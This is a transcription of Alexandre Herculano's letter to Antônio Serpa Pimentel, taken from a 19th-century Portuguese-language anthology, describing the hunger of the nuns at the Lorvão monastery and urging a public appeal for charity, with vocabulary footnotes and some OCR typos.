Carta de Alexandre Herculano a Antônio Serpa Pimentel

Carta de Alexandre Herculano a Antônio Serpa Pimentel

Meu amigo. — Escrevo-lhe do fundo do estreito vale de Lor- vão, defronte do mosteiro onde repousam as filhas de Sancho I; dêste mosteiro melancólico e mal assombrado, como as montanhas abruptas x) que o rodeiam por todos os lados: escrevo-lhe com o coração apertado de dó e repassado de indignação. Descendo a examinar o arquivo das pobres cisterdenses, penetrei no claustro por ordem da autoridade eclesiástica. Lá dentro, nesses corredo­res úmidos e sombrios, vi passar ao pé de mim muitos vultos, cujas faces eram pálidas, cujos cabelos eram brancos. Êsses cabelos nem todos os destinguiu o decurso dos anos: a amargura embran­queceu ps mais dêles. Quase tôdas essas faces tem-nas empalide­cido a fome. Morrem aqui lentamente umas poucas de mulheres, fechadas Vuma tumba de pedra e ferro. Estas’ mulheres, ouvem de lá, do seu túmulo, o ruído do burgo [1]) apinhado na encosta fronteira, e dividido do mosteiro apenas por um riacho. Naquelas casas de telha vã, negras, gretadas, desapmmadas, com o aspecto miserável da maior parte das aldeius da Beira, vive uma população

Laboriosa que até certo ponto se pode chamar abastada, e a quem, pelo menos, não falta 1) o pão nem a alegria. No mosteiro sun­tuoso, vasto e alvejante, com um aspecto exterior quase indicando opulência, é que não há pão, mas só lágrimas. Lorvão é pior do que o carneiro [2]) onde se houvessem metido vinte esquifes de ca- taléticos, selando-se para sempre a lágea da entrada. O catalético, fechado no seu caixão, ouve, sente, tem a consciência de que foi sepultado vivo. Nas trevas e na imobilidade, o terror, a deses­peração, a falta d,e ar matam-no em breve; a sua agonia ê tremen­da, mas não é longa. AquÀ ê outra cousa: aqui, vê-se, por entre as grades de ferro, a luz do céu, a árvore que dá os frutos, a seara que dá o pão, e tudo isto vê-se para se ter mais fome. Todos os dias Vima esperança duvidosa e fugitiva atravessa aquelas grades de envolta com os primeiros raios do sol: todos os dias essa espe­rança fica sumida de-baixo das trevas que à tarde se precipitam sôbre Lorvão das ladeiras do poente. Depois, as noites de insônia: depois, o chôro: depois, sabe Deus… se a blasfêmia!

Imagine, meu amigo, uma noite de inverno, no fundo desta cspécie de poço, perdido no meio da turba de montes que o ro­deiam: imagine dezoito ou vinte mulheres idosas, metidas entre quatro paredes úmidas e regeladas, sem agasalho, sem lume para se aquecerem, sem pão parn se alimentarem, sem energia na alma e sem fôrças no corpo, comparando o passado, sentindo o presente c antevendo o futuro. Imagine o vento que ruge, a chuva ou a neve fustigando as poucas vidraças que ainda restam no edifício: imagine essas orgias tempestuosas da natureza que passam por ci­ma das lágrimas silenciosas das pobres cistercienses, e as horas eternas que batem na tôrre. Imagine tudo isto e sentirá acender- se-lhe no ânimo uma indignação reconcentrada e inflexível.

Há poucos dias passou-se em Lorvão uma cena tremenda. Num acesso de desesperação, parte destas desgraçadas queriam 3) tumultuàriamente romper a clausura; queriam ir pedir pão pelas cercanias. Custou[3]) mwito contê-las. Tinha-se apoderado delas uma grande ambição: aspiravam à felicidade [4]) do mendigo que pode fazer-se escutar de porta em porta. Era uma vantagem enorme que obtinham. A sua voz é demasiado fraca, e os muros de Lorvão demasiado espessos. Gemidos, brados, prantos, tudo é devorado por êsse túmulo de vivos. Ao menos surgiam como Lázaro da sepultura.

Mas porque o importuno com esta longa história? Não é, meu amigo, só para desabafo; é pura lhe pedir uma favor. Suponha que viu, como eu vi, as faces enrugadas e pálidas das monjas de Lorvão, por onde as lágrimas se penduram quatro a quatro 1), en­quanto vozes convulsas descreviam cenas do longo drama de mi­séria, de que êste sepulcro de vivos tem sido teatro durante vinte anos: suponha que olhava para estas paredes verdoengas, cujo as­pecto produz um sentimento inexplicável de frio, a-pesar-do calor da atmosfera num dia de julho; para as alfaias roçadas e poidas: para os próprios trajos das freiras; que lia em tudo isso, repetida por cem modos, uma palavra só: infortúnio, infortúnio, infortúnio! que faria? Com o seu coração, com os seus princípios, e redator de um jornal que tem largas simpatias, sentia-se grande e forte, pondo a sua pena eloqüente ao serviço da desgraça e da fraqueza. Faça-o, meu amigo, faça-o! Peça esmola para as freiras de Lor­vão, que foram ricas e felizes na mocidade, e que na velhice têm fome. A velhice é santa! Ponha êsse contraste do passado e do presente perante os olhos dos opulentos e ditosos, para que se lem­brem, com alguns cruzados, das pobres que gemem debaixo destas abóbadas, escondidas no meio dos montes laãeirentos e agrestes do concelho de Penacova. Ao govêrno não peça nem diga nada: deixe êsses homens ao seu destino, deixe-os estofar poltronas e dormir nelas. Deus e os vindouros hão-de julgar-nos a todos…

Se entender que esta carta de uma testemunha ocular pode servir de tema às suas considerações, publique-a. O homem que vê o que eu vi e abafa no peito o grito da indignação, ou é um malvado ou um covarde, e eu espero não merecer jamais nenhum dêstes títulos. Imprima esta carta no todo ou em parte, se quizer: porque folgarei com isso. O que importa ê ver se obtemos desper­tar a compaixão pública a favor destas infelizes.

Alexandre Herculano.

1) Abrupto — que tem grande declive; íngreme; cortado a pique.

1) Note-se a concordância do verbo no singular com os sujeitos pão e alegria.

1) Quatro a quatro — em abundância.


[1] Burgo — póvoação, vila, aldeia.

[2] Carneiro — sepulcro.

[3] Custou contê-las ou a contê-las.

[4] aspirar a alguma coisa e não aspirar alguma coisa.

Fonte: Seleta em Prosa e Verso dos melhores autores brasileiros e portugueses por Alfredo Clemente Pinto. (1883) 53ª edição. Livraria Selbach.

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